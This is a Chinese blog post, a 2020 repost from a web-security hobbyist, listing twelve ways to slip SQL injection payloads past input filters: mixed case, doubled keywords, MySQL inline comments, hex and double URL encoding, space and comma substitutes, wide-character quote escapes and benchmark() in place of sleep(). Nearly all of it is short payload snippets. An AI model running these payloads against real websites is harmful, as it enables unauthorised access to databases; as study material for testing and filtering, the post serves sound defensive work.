LeeeBoom -- 一名WEB安全爱好者,以博客的形式记录自己的所看、所学、所做。

LeeeBoom

路虽远,行则将至👣  事虽难,做则必成👊

Re:SQL注入常见绕过技巧

目录:

  1. 大小写绕过
  2. 双写绕过
  3. 内联注释绕过
  4. 编码绕过
  5. <>绕过
  6. 注释符绕过
  7. 对空格的绕过
  8. 对or/and的绕过
  9. 对等号=的绕过
  10. 对单引号的绕过
  11. 对逗号的绕过
  12. 过滤函数绕过

0x01 大小写绕过

  1 UniOn SeleCt

 

0x02 双写绕过

  1 ununionion seselectlect
 

0x03 内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。

  1 and /*!select*/ 1,2
 

0x04 编码绕过

16进制绕过:

  1 select * from users where username = test1;
  2 select * from users where username = 0x7465737431;

对关键字进行两次url全编码:

  1 1+and+1=2
  2 1+%25%36%31%25%36%65%25%36%34+1=2

unicode编码对部分符号的绕过:

  1 单引号=> %u0037 %u02b9
  2 空格=> %u0020 %uff00
  3 左括号=> %u0028 %uff08
  4 右括号=> %u0029 %uff09
 

0x05 <>绕过

某些网站过滤了“<>”符号才行:

  1 unio<>n sel<>ect
 

0x06注释符绕过

  1 uni/**/on se/**/lect
 

0x07对空格的绕过

  1 /**/
  2 %20 %09
  3 ()
  4 回车(url编码中的%0a)
  5 `(tap键上面的按钮)
  6 tap
  7 两个空格
 

0x08 对or/and的绕过

  1 and = &&
  2 or = ||
 

0x09 对等号=的绕过

  1 不加通配符的like执行的效果和=一致,所以可以用来绕过;
  2 
  3 rlike的用法和上面的like一样,没有通配符效果和=一样;
  4 
  5 regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配
  6 
  7 <> 等价于 !=  ,所以在前面再加一个!结果就是等号了
  8 ?id=1 or 1 like 1
  9 ?id=1 or 1 rlike 1
 10 ?id=1 or 1 regexp 1
 11 ?id=1 or !(1 <> 1)或者1 !(<>) 1

0x10 对单引号的绕过

宽字符

  1 # 过滤单引号时
  2 %bf%27  %df%27  %aa%27

使用十六进制

  1 'users'=>0x7573657273
 

0x11 对逗号的绕过

盲注中使用 from n1 for n2 ,其中n1代表从n1个开始读取n2长度的子串

  1 select substr("string",1,3);
  2 等价于 select substr("string" from 1 for 3);

使用join关键字来绕过

  1 union select 1,2,3
  2 等价于 union select * from (select 1)a join (select 2)b join(select 3)c

使用offset关键字:

  1 适用于limit中的逗号被过滤的情况
  2 limit 2,1等价于limit 1 offset 2
 

0x12 过滤函数绕过

sleep() -->benchmark()

  1 and sleep(1)
  2 等价于 and benchmark(1000000000,1)

group_concat()–>concat_ws()

  1 select group_concat("str1","str2");
  2 等价于 select concat_ws(",","str1","str2");

原文连接:https://www.cnblogs.com/-chenxs/p/11618846.html

posted @ 2020-03-06 22:54  LeeeBoom  阅读(352)  评论(0)    收藏  举报